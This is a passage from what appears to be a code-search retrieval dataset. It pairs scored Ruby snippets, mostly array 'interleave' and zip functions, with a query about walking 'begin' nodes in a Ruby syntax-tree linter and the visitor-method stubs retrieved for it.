"text": "def interleave(a,b)\n longer = smaller = []\n a.size > b.size ? longer = a : longer = b\n a.size > b.size ? smaller = b : smaller = a #can't figure how to shorten this/ make less redundant\n return a.zip(b).flatten.concat(longer[smaller.size..longer.size])\n\n end",
"title": ""
},
{
"docid": "e7fc8d9e0afc78bafcaaa186f00d3aa5",
"score": "0.582459",
"text": "def interleave(list1, list2)\n (list1.zip list2).flatten\nend",
"title": ""
},
{
"docid": "4a069f54a9cdd0e5eaf148cc73acc9bf",
"score": "0.58129114",
"text": "def interleave(array_1, array_2)\n interwoven_array = []\n\n array_1.each_with_index do |element, index|\n interwoven_array << element << array_2[index]\n end\n\n interwoven_array\nend",
"title": ""
},
{
"docid": "4596abcd2ab58c1601906a0a75f73a8e",
"score": "0.5810165",
"text": "def interleave(arr1, arr2)\n results = []\n\n arr1.each_with_index do |el, i|\n results << el << arr2[i]\n # results << el << arr2[arr1.index(el)] ## if you wanted to do it without index as block param\n end\n\n results\nend",
"title": ""
},
{
"docid": "63c57177c37d5d129f8858b11091455b",
"score": "0.5791508",
"text": "def interleave(arr1,arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "52997a06294a4f40cea2958a1f85781e",
"score": "0.57765245",
"text": "def interleave(array1, array2)\n p array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "3255870de3addca8462ff99b287d944c",
"score": "0.5775174",
"text": "def interleave(arr1, arr2)\n combined = []\n\n arr1.each_with_index do |item, index|\n combined.push(arr1[index])\n combined.push(arr2[index])\n end\n\n combined\nend",
"title": ""
},
{
"docid": "4c1614cceb731318fca1976d4000b6be",
"score": "0.5761106",
"text": "def interleave(arr_1, arr_2)\n arr_1.zip(arr_2).flatten\nend",
"title": ""
},
{
"docid": "fbbb3dbcc2ae2f2c46d799d1f6f69d39",
"score": "0.57593024",
"text": "def interleave(arr1, arr2)\n arr3 = []\n arr1.each_with_index do |element, idx|\n arr3 << element << arr2[idx]\n end\n arr3\nend",
"title": ""
},
{
"docid": "20c328511e5a635c142983757dedab46",
"score": "0.5756898",
"text": "def zany_zip(*arr)\n max_length = 0\n arr.each do |x|\n if x.length > max_length\n max_length = x.length\n end\n end\n result = []\n i = 0\n while i < max_length\n temp = []\n arr.each do |subarray|\n temp << subarray[i]\n end\n result << temp\n i += 1\n end\n result\nend",
"title": ""
},
{
"docid": "0abf80b1fef101fccf15b5bd4ab39181",
"score": "0.57557726",
"text": "def interleave(list1, list2)\n combined_list = []\n list1.each_with_index do |elem, index|\n combined_list << elem\n combined_list << list2[index]\n end\n combined_list\nend",
"title": ""
},
{
"docid": "f54df9b2da6f51d10628ae00ccfac6ad",
"score": "0.5750491",
"text": "def interleave(a1, a2)\n # new_array = []\n # index = 0\n # while index < a1.size\n # new_array.push(a1[index])\n # new_array.push(a2[index])\n # index += 1\n # end\n # new_array\n # LS solution\n # result = []\n # array1.each_with_index do |element, index|\n # result << element << array2[index]\n # end\n # result\n a1.zip(a2).flatten\nend",
"title": ""
},
{
"docid": "d47fa39f1f79d54966383fb43622603a",
"score": "0.5748322",
"text": "def interleave(arr1, arr2)\n # new_arr = []\n # arr1.size.times do |count|\n # new_arr << arr1[count] << arr2[count]\n # end\n # new_arr\n\n # using Array#zip and Array#flatten\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "f698c1ed0152fd5ec49bd24dfafd2ac4",
"score": "0.57287294",
"text": "def interleave(arr1, arr2)\n results = []\n arr1.each.with_index do |el,idx|\n results << el << arr2[idx]\n end\n results\nend",
"title": ""
},
{
"docid": "3e85180809220ed9e3e1752e7cb7f6db",
"score": "0.57228684",
"text": "def my_zip(*arrays)\n i = 0\n zipped = []\n while i < self.length\n nest = [self[i]]\n arrays.my_each do |arr|\n if i < arr.length\n nest << arr[i]\n else\n nest << nil\n end\n end\n zipped << nest\n i += 1\n end\n return zipped\n end",
"title": ""
},
{
"docid": "99b0f51a416530b38c25c5bec4d07aac",
"score": "0.5712385",
"text": "def interleave ( arr1 , arr2 )\n\tc = []\n\tif arr1.length > arr2.length \n\t\ta=arr1\n\t\tb=arr2\n\telse\n \t\ta=arr2\n \t\tb=arr1\n\tend\n\tc = a.slice(b.length..a.length-1)\n\treturn b.zip(a).flatten(1).slice!(0..b.length*2 -1) + c\nend",
"title": ""
},
{
"docid": "bcf5f64e248deb87533ed2c2ffdf49ae",
"score": "0.5711709",
"text": "def ext_zip(values, options = {})\n zip_to_hash(self, values, options)\n end",
"title": ""
},
{
"docid": "f1f591a6b65859802250e92b3f7a1bf1",
"score": "0.57087487",
"text": "def interleave(arr1, arr2)\r\n combined_arr = []\r\n counter = 0\r\n arr1.size.times do\r\n combined_arr << arr1[counter]\r\n combined_arr << arr2[counter]\r\n counter += 1\r\n end\r\n combined_arr\r\nend",
"title": ""
},
{
"docid": "d5521073d1f281ab315160e6397b586c",
"score": "0.56804883",
"text": "def interleave(list1, list2)\n combined = []\n list1.each_index do |idx|\n combined << list1[idx]\n combined << list2[idx]\n end\n combined\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.5673433",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.5673433",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.5673433",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.5673433",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.5673433",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "e19689197cd36d7feebe11db8d9de02c",
"score": "0.5673433",
"text": "def interleave(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "68e6020a48c2b0261ccb6672033692db",
"score": "0.56668663",
"text": "def zip_contents; end",
"title": ""
},
{
"docid": "a88547bb41ade49ede2143639584a1d3",
"score": "0.5654677",
"text": "def zip(arr1, arr2)\n Array.new(arr1.size) do |idx|\n [arr1[idx], arr2[idx]]\n end\nend",
"title": ""
},
{
"docid": "cdd5d224d77c0e255ebe040b3790640a",
"score": "0.5644996",
"text": "def interleave(array_1, array_2)\n results_array = []\n array_1.each_with_index do |elem, index|\n results_array << elem << array_2[index]\n end\n results_array\nend",
"title": ""
},
{
"docid": "0048c8940746c2fea5e65a14eb1def42",
"score": "0.5644022",
"text": "def interleave(arr1, arr2)\n result = []\n arr1.each_with_index do |elem, indx|\n result << elem << arr2[indx]\n end\n result\nend",
"title": ""
},
{
"docid": "6ab7524be3321c937b24bf062794bab0",
"score": "0.5638606",
"text": "def interleave2(arr1, arr2)\n arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "81ada3044f76506eec45a05f4feeb79c",
"score": "0.5635696",
"text": "def interleave(arr1, arr2)\n interleaved = []\n\n i = 0\n loop do\n interleaved << arr1[i] << arr2[i]\n i += 1\n break if i >= arr1.size\n end\n\n interleaved\nend",
"title": ""
},
{
"docid": "32991ad3bd310d3fe6873c2e86e657b9",
"score": "0.56343716",
"text": "def zip(array1, array2)\n iterations = array1.size\n results = []\n iterations.times do |index|\n results << [array1[index], array2[index]]\n end\n results\nend",
"title": ""
},
{
"docid": "376d62bd1e8e61d556ac2f46d6c83d5b",
"score": "0.5633557",
"text": "def interleave(arr1, arr2)\n return_array = []\n arr1.each_with_index do |element, index|\n return_array << element << arr2[index]\n end\nend",
"title": ""
},
{
"docid": "e8e309b6b387b2abe4f12ce6e833ecb1",
"score": "0.5627905",
"text": "def zipper(arr1, arr2)\n arr1.map.with_index { |elem, ndx| [elem, arr2[ndx]] }\nend",
"title": ""
},
{
"docid": "0ec9dcef7d7d3d3a9e189180133d1d9c",
"score": "0.56196344",
"text": "def zip(*arr)\n (0...arr[0].length).map do |i|\n arr.map {|arr| arr[i]}\n end\nend",
"title": ""
},
{
"docid": "fa8b5b657d6cb33fdcf9eb4c34873667",
"score": "0.56195074",
"text": "def interleave(ary1, ary2)\n ary1.zip(ary2).flatten\nend",
"title": ""
},
{
"docid": "28bab2c939f0a8734e810c40c9c037cb",
"score": "0.56172836",
"text": "def unshift(*rest) end",
"title": ""
},
{
"docid": "18864fad8321b87a7f546565f2b10e28",
"score": "0.5610486",
"text": "def interleave(arr1, arr2)\n new_arr = []\n arr1.each_with_index do |element, index|\n new_arr << arr1[index]\n new_arr << arr2[index]\n end\n new_arr\nend",
"title": ""
},
{
"docid": "75996858053a0e099297887ff727ba5e",
"score": "0.5600792",
"text": "def interleave(arr_1, arr_2)\n current_index = 0\n combined_arr = []\n while current_index < arr_1.size\n combined_arr.push(arr_1[current_index])\n combined_arr.push(arr_2[current_index])\n current_index += 1\n end\n \n combined_arr\nend",
"title": ""
},
{
"docid": "5a3023e797500d8006bbb5edb4f8b447",
"score": "0.5599785",
"text": "def zip(arr1, arr2)\n arr1.each_with_index.reduce([]) { |result, (el, idx)| result << [el, arr2[idx]] }\nend",
"title": ""
},
{
"docid": "aaeb1c820b8aedd0293ea15b606059aa",
"score": "0.5599082",
"text": "def interleave(arr1, arr2)\n inter_arr = []\n idx = 0\n\n loop do\n inter_arr << arr1[idx]\n inter_arr << arr2[idx]\n \n idx += 1\n break if idx >= arr2.length\n end\n inter_arr\nend",
"title": ""
},
{
"docid": "9588c1032a6aeafd14a432dcd6c9835a",
"score": "0.5597873",
"text": "def merge; end",
"title": ""
},
{
"docid": "005841f9c0a248c2ac53a662d1270457",
"score": "0.5592292",
"text": "def interleave(arr1, arr2)\n\tnew_arr = []\n\tcounter = 0\n\tloop do\n\t\tbreak if counter == arr1.size \n\t\tnew_arr << arr1[counter]\n\t\tnew_arr << arr2[counter]\n\t\tcounter += 1\n\tend\t\n\tnew_arr\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.5590513",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.5590513",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d38bd5fba396b5a8766ef9e08d9144e8",
"score": "0.5590513",
"text": "def interleave(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "d15a50efd196b98c9f92452a94967dbc",
"score": "0.55826616",
"text": "def interleave2(array1, array2)\n array1.zip(array2).flatten\nend",
"title": ""
},
{
"docid": "f54f8faa3b96894ff27068a8a7352e50",
"score": "0.5580043",
"text": "def interleave a,b\n arr1 = []\n for i in (0...a.size)\n arr1 << a[i] << b[i]\n end\n arr1\nend",
"title": ""
},
{
"docid": "1a56e76a0d7b356269e08b8c7fdc51e0",
"score": "0.55559266",
"text": "def interleave(array1, array2)\n new_array = []\n array1.each_with_index do |element, index|\n new_array << element << array2[index]\n end\n new_array\nend",
"title": ""
},
{
"docid": "cc6ab000779b1fc1589c5fef725ce811",
"score": "0.5538346",
"text": "def zip(arr1, arr2)\n arr1.map.with_index { |el1, idx| [el1, arr2[idx]] }\nend",
"title": ""
},
{
"docid": "3a540e26decfee488ebab9f9300359be",
"score": "0.5536951",
"text": "def interleave(array1, array2)\n result = []\n array1.each_with_index do |element, index|\n result << element << array2[index]\n end\n result\nend",
"title": ""
},
{
"docid": "3a540e26decfee488ebab9f9300359be",
"score": "0.5536951",
"text": "def interleave(array1, array2)\n result = []\n array1.each_with_index do |element, index|\n result << element << array2[index]\n end\n result\nend",
"title": ""
},
{
"docid": "585cba2c836750a3acfce35c3f807849",
"score": "0.55326045",
"text": "def zip_sum(array, array2)\n new_arr = []\n array.length.times do |index|\n new_arr.push(array[index] + array2[index])\n end\n new_arr\nend",
"title": ""
},
{
"docid": "fc99637c31d5485bbf1efeff8b0b26e1",
"score": "0.55216753",
"text": "def zip(*arrs)\n return [] if arrs.any?(&:empty?)\n [arrs.map(&:first)] + zip(arrs.first.drop(1), arrs.last.drop(1))\nend",
"title": ""
},
{
"docid": "9e58e2a4b1450baa92e0f990541c1787",
"score": "0.55200344",
"text": "def interleave(array1, array2)\n result = []\n array1.each_with_index do |value, index|\n result << value << array2[index]\n end\n result\nend",
"title": ""
},
{
"docid": "f93c35b980353e57485590b71a68f3f0",
"score": "0.5510263",
"text": "def interleave(arr1, arr2)\n idx = 0\n combined = []\n arr1.size.times do\n combined << arr1[idx] << arr2[idx]\n idx += 1\n end\n combined\nend",
"title": ""
},
{
"docid": "1eeb4b646b3788b9061e9f72bab36070",
"score": "0.5508903",
"text": "def interleave(arr1, arr2)\n new_arr = []\n arr1.each_with_index do |_, index|\n new_arr << arr1[index]\n new_arr << arr2[index]\n end\n new_arr\nend",
"title": ""
},
{
"docid": "57c1cf4df7ecfa63fb8c7578f9ff1f6d",
"score": "0.55074906",
"text": "def combine_ins(obj); end",
"title": ""
},
{
"docid": "30ed633bf2ca4becf77188b87b513e98",
"score": "0.5491903",
"text": "def interleave(arr1, arr2)\n new_arr = []\n arr1.size.times{ |idx| new_arr << arr1[idx] << arr2[idx] }\n new_arr\nend",
"title": ""
},
{
"docid": "549a56e9f7a90de2ef0b34638bfeca69",
"score": "0.5491293",
"text": "def zip_and_flatten(array1,array2)\t\n\t\t(array1.zip(array2)).flatten(1).reject{|x| x.nil?}\n\tend",
"title": ""
},
{
"docid": "8a09f84787a53e63c16ba2f1e172cd4a",
"score": "0.5483485",
"text": "def zip(*args)\n \n multi = Array.new(args[0].length) {[]}\n\n (0...args.length).each do |i|\n (0...args[0].length).each do |j|\n multi[j] << args[i][j]\n end\n end\n multi\nend",
"title": ""
},
{
"docid": "017a5ab723089c13b5404d3a1714dfb9",
"score": "0.5480309",
"text": "def pack(item, index); end",
"title": ""
},
{
"docid": "4ce76f39d5d1ace9f973a21ae7cabe73",
"score": "0.54779756",
"text": "def interleave(arr1, arr2)\n return_array = arr1.zip(arr2).flatten\nend",
"title": ""
},
{
"docid": "be208b6c4c2329e1a3ac1e8681c0c73b",
"score": "0.5474576",
"text": "def interleave(arr1, arr2)\n output_arr = []\n arr1.size.times do |idx|\n output_arr << arr1[idx]\n output_arr << arr2[idx]\n end\n output_arr\nend",
"title": ""
},
{
"docid": "df2c83881e4891bdd60eefdd9f812fec",
"score": "0.5474062",
"text": "def interleave(first, second)\n new_array = []\n\n first.each_with_index do |element, index|\n new_array << element\n new_array << second[index]\n end\n\n new_array\nend",
"title": ""
},
{
"docid": "a96c3c6735a69e1c5b40986ac0567bad",
"score": "0.546554",
"text": "def interleave(arr1, arr2)\n count = arr1.size\n interleaved = []\n count.times do\n interleaved << arr1.shift\n interleaved << arr2.shift\n end\n interleaved\nend",
"title": ""
}
] |
e19124954d7a1f9c8268c6a916cc00ad
|
We operate on `begin` nodes, instead of using `OnMethodDef`, so that we can walk over pairs of consecutive nodes and efficiently access a node's predecessor; prev_node ends up doing a linear scan over siblings, so we don't want to call it on each def.
|
[
{
"docid": "785e249237aece776be796824b0f109c",
"score": "0.6821963",
"text": "def on_begin(node)\n node.children.each_cons(2) do |prev, n|\n nodes = [prev, n]\n check_defs(nodes) if nodes.all?(&method(:def_node?))\n end\n end",
"title": ""
}
] |
[
{
"docid": "e3bdbb99f5ec17a251a55dc4b005e484",
"score": "0.7259806",
"text": "def visit_begin(node); end",
"title": ""
},
{
"docid": "a6e0e1758c1b9173c7a4da2715993fe3",
"score": "0.7105259",
"text": "def on_begin(node); end",
"title": ""
},
{
"docid": "4033dea1523d84e584117f5efa3b3d83",
"score": "0.6792112",
"text": "def node_start(node); end",
"title": ""
},
{
"docid": "aee299a05369bfbbb32fe74c19d66d90",
"score": "0.62833315",
"text": "def node_or_begin(node)\n if node.children[2].type == :begin\n node.children[2]\n else\n node\n end\n end",
"title": ""
},
{
"docid": "10e7d6a1c20d59ecc4e28c9fd3022fb9",
"score": "0.6238865",
"text": "def visit_tlambeg(node); end",
"title": ""
},
{
"docid": "1138641a986273a514733fbe275cd3ab",
"score": "0.6015672",
"text": "def accessor_start(node); end",
"title": ""
},
{
"docid": "168b395b2672c1346e6b8a7049c23467",
"score": "0.5901228",
"text": "def visit_begin(node)\n node.copy(bodystmt: visit(node.bodystmt))\n end",
"title": ""
},
{
"docid": "8992ec42ecd5b89eb9ceb4833971bfa7",
"score": "0.5865398",
"text": "def check_begin(node)\n elm = node.children.compact.select{|n| n if n.class.to_s =~ /Astrolabe/ }\n elm.each do |i|\n check_send(i) if i.type.to_s == 'begin'\n end\n end",
"title": ""
},
{
"docid": "18ca459cd58ca99e9eff0d8aa205980a",
"score": "0.58413005",
"text": "def first_part_of_call_chain(node); end",
"title": ""
},
{
"docid": "18ca459cd58ca99e9eff0d8aa205980a",
"score": "0.58413005",
"text": "def first_part_of_call_chain(node); end",
"title": ""
},
{
"docid": "093a56dd9cb8313355ce9811911eeaca",
"score": "0.5805537",
"text": "def next_node=(_arg0); end",
"title": ""
},
{
"docid": "ebe568b2be3d7a3ef6767ab44c4669d9",
"score": "0.57501835",
"text": "def process_begin(exp)\n body = process exp.shift\n # shouldn't be anything to unify\n return t(:begin, body)\n end",
"title": ""
},
{
"docid": "8c5dd570db5b9a1d8400d1836d5679b4",
"score": "0.574857",
"text": "def preceding( node )\n #puts \"IN PRECEDING\"\n ancestors = []\n p = node.parent\n while p\n ancestors << p\n p = p.parent\n end\n\n acc = []\n p = preceding_node_of( node )\n #puts \"P = #{p.inspect}\"\n while p\n if ancestors.include? p\n ancestors.delete(p)\n else\n acc << p\n end\n p = preceding_node_of( p )\n #puts \"P = #{p.inspect}\"\n end\n acc\n end",
"title": ""
},
{
"docid": "0c289977f6b58632e8d24c7f908ab001",
"score": "0.57473093",
"text": "def visit_pinned_begin(node); end",
"title": ""
},
{
"docid": "248efd74c8978c3d1847f9563b3f6d9a",
"score": "0.5747002",
"text": "def visit_next(node); end",
"title": ""
},
{
"docid": "7190660c14bf83660fd129ad825a31c5",
"score": "0.5681794",
"text": "def visit_words_beg(node); end",
"title": ""
},
{
"docid": "511c5eaa66246e301bad6979cb0821ae",
"score": "0.5651862",
"text": "def precede?(node1, node2); end",
"title": ""
},
{
"docid": "511c5eaa66246e301bad6979cb0821ae",
"score": "0.5651862",
"text": "def precede?(node1, node2); end",
"title": ""
},
{
"docid": "ac254a0fd9b4d40a63345da0d01ab21a",
"score": "0.5590711",
"text": "def process_begin(exp, _parent)\n increase_statement_count_by(exp.children)\n decrease_statement_count\n process(exp)\n end",
"title": ""
},
{
"docid": "ede9878fa41bf9db086d0f71b96372ab",
"score": "0.5581416",
"text": "def on_def(node); end",
"title": ""
},
{
"docid": "243dd7b207f263526d5d4439e319a9a9",
"score": "0.55753267",
"text": "def reached_node(node); end",
"title": ""
},
{
"docid": "f601513a70472fa07216fab3117f6948",
"score": "0.5570052",
"text": "def prev= node\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "a92cebb7da9d72f4fcf9ed7716d071fc",
"score": "0.5556805",
"text": "def visit_embexpr_beg(node); end",
"title": ""
},
{
"docid": "eb1b29603b26187950ab994097589f16",
"score": "0.5550401",
"text": "def before_node(target_node, node_type, *args, &block)\n manipulate_node(:before, target_node, node_type, *args, &block)\n end",
"title": ""
},
{
"docid": "41b9e75eb206869450729a3f3c1f5885",
"score": "0.5493067",
"text": "def visit_trace(node); end",
"title": ""
},
{
"docid": "afb86051c681f7ed192fd1de212431b2",
"score": "0.54853827",
"text": "def visit_def(node); end",
"title": ""
},
{
"docid": "005f339a16f96667f9a6cfbfe2b4241d",
"score": "0.54849416",
"text": "def prev_line=(_arg0); end",
"title": ""
},
{
"docid": "6d61100e4e04a1bc5acc64b7636f02a4",
"score": "0.54826254",
"text": "def visit_begin(node)\n location =\n smap_collection(\n srange_length(node.start_char, 5),\n srange_length(node.end_char, -3),\n srange_node(node)\n )\n\n if node.bodystmt.empty?\n s(:kwbegin, [], location)\n elsif node.bodystmt.rescue_clause.nil? &&\n node.bodystmt.ensure_clause.nil? &&\n node.bodystmt.else_clause.nil?\n child = visit(node.bodystmt.statements)\n\n s(\n :kwbegin,\n child.type == :begin ? child.children : [child],\n location\n )\n else\n s(:kwbegin, [visit(node.bodystmt)], location)\n end\n end",
"title": ""
},
{
"docid": "b1624351adee261b7fbec0c0ba16837a",
"score": "0.54440373",
"text": "def process_begin exp # :nodoc:\n _, *rest = exp\n\n code = rest.map { |sexp|\n src = process sexp\n src = indent src unless src =~ /(^|\\n)(rescue|ensure)/ # ensure no level 0 rescues\n src\n }\n code.unshift \"begin\"\n code.push \"end\"\n\n code.join \"\\n\"\n end",
"title": ""
},
{
"docid": "e12a2627c6ae3c34e978382b7b25bc3b",
"score": "0.54400235",
"text": "def middle_node\n end",
"title": ""
},
{
"docid": "338e0a4488e29c07d99fc84851d2c7b4",
"score": "0.54281986",
"text": "def beg(sym, *args, &block)\n case sym\n when :graph then begin_graph(*args, &block)\n else\n generic_begin_end_block(sym, *args, &block)\n end #case\n end",
"title": ""
},
{
"docid": "59eeceedbe4cda3f89cfe581bdb56aec",
"score": "0.54241055",
"text": "def prev_node\n goto_node(@list.prev(@node))\n end",
"title": ""
},
{
"docid": "0bc15f7a0a0088442f024b60cd86a91d",
"score": "0.54181916",
"text": "def each_preorder_structure(node, proc)\n return unless node\n proc.call(node.value)\n each_preorder_structure(node.left,proc)\n each_preorder_structure(node.right,proc)\n end",
"title": ""
},
{
"docid": "8d243935a350ee2b695f18b168d12bdc",
"score": "0.54138047",
"text": "def next_node; end",
"title": ""
},
{
"docid": "b67f84f0b02c3c848b5332571e9085fe",
"score": "0.54103184",
"text": "def left_sibling; end",
"title": ""
},
{
"docid": "b67f84f0b02c3c848b5332571e9085fe",
"score": "0.54103184",
"text": "def left_sibling; end",
"title": ""
},
{
"docid": "25e41d97852a95738d390ff14537797b",
"score": "0.5408007",
"text": "def visit_heredoc_beg(node); end",
"title": ""
},
{
"docid": "61f457ce5002b6ccd94e8fb197b64985",
"score": "0.53927064",
"text": "def preceding_comment?(node1, node2); end",
"title": ""
},
{
"docid": "6529b98e51d57109c622ca1810f411f6",
"score": "0.53830236",
"text": "def visit_symbeg(node); end",
"title": ""
},
{
"docid": "3c5af3f3e72e7fbe4d516e519df128f6",
"score": "0.5338643",
"text": "def beg() \"=begin\" end",
"title": ""
},
{
"docid": "e54e7187b1fd0fdabbef80a5dfa57ad1",
"score": "0.5335899",
"text": "def visit_block(node); end",
"title": ""
},
{
"docid": "942a97874c0e657b533f32933d8d903c",
"score": "0.53355634",
"text": "def previous_sibling()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "8cd4204418e3219039f8646157a8822c",
"score": "0.5332957",
"text": "def for_node; end",
"title": ""
},
{
"docid": "2c48f5404faa6ebdba07509fb5a131d9",
"score": "0.5319948",
"text": "def before(lineno, lines = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "2c48f5404faa6ebdba07509fb5a131d9",
"score": "0.5319948",
"text": "def before(lineno, lines = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "d001cb8b41d73289f0b07bf0014fb5da",
"score": "0.53159744",
"text": "def before\n return to_enum(__callee__) unless block_given?\n return if chain_head?\n\n item = prev\n\n loop do\n yield item\n item = item.prev\n end\n end",
"title": ""
},
{
"docid": "8fe2f95e539fc248bdc2599c2a1ef338",
"score": "0.53124946",
"text": "def preprev_token=(_arg0); end",
"title": ""
},
{
"docid": "36ba8516b944ab5f71461a31eeb1a26b",
"score": "0.5309201",
"text": "def visit_method_add_block(node); end",
"title": ""
},
{
"docid": "36ba8516b944ab5f71461a31eeb1a26b",
"score": "0.5309201",
"text": "def visit_method_add_block(node); end",
"title": ""
},
{
"docid": "57550e2c3a27c2ea98df5ec150707af7",
"score": "0.53026366",
"text": "def visit_yield(node); end",
"title": ""
},
{
"docid": "12b5590945eddde44be5a83601e98d47",
"score": "0.52984524",
"text": "def list_prev\n @parent or raise NoParent\n @parent.NodeList? or raise BadParent\n return @parent.node_before(self)\n end",
"title": ""
},
{
"docid": "408458ecddd22f08cc536320d5e9c9b6",
"score": "0.52935636",
"text": "def visit_before(f=nil,&block)\n block=f unless f.nil?\n raise \"Should pass a Proc\" if block.nil?\n visit_visit(self,0,block, :before)\n end",
"title": ""
},
{
"docid": "de2d9447a5d1e20429732be3e3d52182",
"score": "0.528925",
"text": "def prev\n Document.traverse self, 'previousSibling', nil, false\n end",
"title": ""
},
{
"docid": "133690f29e4be811377414601ae11595",
"score": "0.5286247",
"text": "def visit_embexpr_beg(node)\n node.copy\n end",
"title": ""
},
{
"docid": "e356323c46a1e4904559782e80741bfb",
"score": "0.5285332",
"text": "def all_previous\n invoke [\"previousSiblings\"], :flatten_uniq => true\n end",
"title": ""
},
{
"docid": "e50f5a585e26f375a37cf6fbc9b2ec73",
"score": "0.528355",
"text": "def check_preceding_node(node, type)\n case prev_node(node)\n when\n nil,\n Sass::Tree::FunctionNode,\n Sass::Tree::MixinNode,\n Sass::Tree::MixinDefNode,\n Sass::Tree::RuleNode,\n Sass::Tree::CommentNode\n # Ignore\n nil\n else\n unless engine.lines[node.line - 2].strip.empty?\n add_lint(node.line, MESSAGE_FORMAT % [type, 'preceded'])\n end\n end\n end",
"title": ""
},
{
"docid": "9f6af5230dfe1742c3d0556057466840",
"score": "0.52748245",
"text": "def preordered_each &block # :yields: node\n each(&block)\n end",
"title": ""
},
{
"docid": "0cf848d9a442f8cef05876ce57e47d3c",
"score": "0.526641",
"text": "def visit_words_beg(node)\n node.copy\n end",
"title": ""
},
{
"docid": "568c6e7c754184e89d856b76b1365bc4",
"score": "0.52650374",
"text": "def start_node\n # Just for documentation purpose, it is aliased from start_node_wrapper\n end",
"title": ""
},
{
"docid": "46ede51e1043c222a37663bffa17270b",
"score": "0.52644926",
"text": "def prev_token=(_arg0); end",
"title": ""
},
{
"docid": "46ede51e1043c222a37663bffa17270b",
"score": "0.52644926",
"text": "def prev_token=(_arg0); end",
"title": ""
},
{
"docid": "daf5a25d91a5ae7aca3c84ce7a365614",
"score": "0.52644056",
"text": "def setPrev(node)\n\t\t@prev = node\n\tend",
"title": ""
},
{
"docid": "4427b99ed299267584c08a6e308a298a",
"score": "0.5251829",
"text": "def parse_begin\n pos = position\n keyword(:begin) or return\n ws\n exps = parse_opt_defexp\n rescue_ = parse_rescue\n keyword(:end) or expected(\"expression or 'end' for open 'begin' block\")\n return E[pos, :block, [], exps, rescue_]\n end",
"title": ""
},
{
"docid": "73e7216362bba57172d24ab6a66a4a06",
"score": "0.52508664",
"text": "def tree_from_vertex(start, routine)\r\n predecessor={}\r\n correct_tree = false\r\n te = Proc.new {|e| predecessor[e.target] = e.source if correct_tree}\r\n rv = Proc.new {|v| correct_tree = (v == start)}\r\n send routine, :start => start, :tree_edge => te, :root_vertex => rv\r\n predecessor \r\n end",
"title": ""
},
{
"docid": "a80511eeee9adedbaf5d246ca6934f56",
"score": "0.5249255",
"text": "def prepend_to_body(body, node)\n if body.nil?\n node\n elsif [:begin, :kwbegin].include?(body.type)\n body.updated(nil, [node, *body])\n else\n s(:begin, node, body)\n end\n end",
"title": ""
},
{
"docid": "1f4fb2619ebfb30796d33377b88ea919",
"score": "0.5243865",
"text": "def accessor_start(node)\n if node.loc.dot\n node.loc.dot.begin_pos\n else\n node.loc.selector.begin_pos\n end\n end",
"title": ""
},
{
"docid": "1f4fb2619ebfb30796d33377b88ea919",
"score": "0.5243865",
"text": "def accessor_start(node)\n if node.loc.dot\n node.loc.dot.begin_pos\n else\n node.loc.selector.begin_pos\n end\n end",
"title": ""
},
{
"docid": "1c1a04e85f54bf86f242bf98b59594b2",
"score": "0.52373916",
"text": "def first_part_of_call_chain(node)\n while node\n case node.type\n when :send\n receiver, _method_name, _args = *node\n node = receiver\n when :block\n method, _args, _body = *node\n node = method\n else\n break\n end\n end\n node\n end",
"title": ""
},
{
"docid": "ca0ea15995425690685f1081ee86c4bf",
"score": "0.5228372",
"text": "def packBeginNotRec\n\t\tfirstPossible = @prev.first + @prev.size + 1\n\t\t# puts \"previous first #{@prev.first}\"\n\t\tself.slideFromBegin(firstPossible)\n\tend",
"title": ""
},
{
"docid": "7e2e4ad0789b7dcb1103786f5a23f17a",
"score": "0.52152056",
"text": "def traverse(node); end",
"title": ""
},
{
"docid": "7e2e4ad0789b7dcb1103786f5a23f17a",
"score": "0.52152056",
"text": "def traverse(node); end",
"title": ""
},
{
"docid": "7e2e4ad0789b7dcb1103786f5a23f17a",
"score": "0.52152056",
"text": "def traverse(node); end",
"title": ""
},
{
"docid": "c7311418466a4d45085f352ab9a65f82",
"score": "0.52133656",
"text": "def precede?(node1, node2)\n node2.loc.line - node1.loc.line <= 1\n end",
"title": ""
},
{
"docid": "52c37fa844956914eb7a5f416c931ecf",
"score": "0.52097934",
"text": "def precede?(node1, node2)\n node2.loc.line - node1.loc.line == 1\n end",
"title": ""
},
{
"docid": "ab62984b67d1f34628049ca4c7fd57fa",
"score": "0.52036613",
"text": "def begin_pos=(_); end",
"title": ""
},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
},
{
"docid": "c0ad512bf9d636665fcbc0305809ea2c",
"score": "0.5189571",
"text": "def beginning; end",
"title": ""
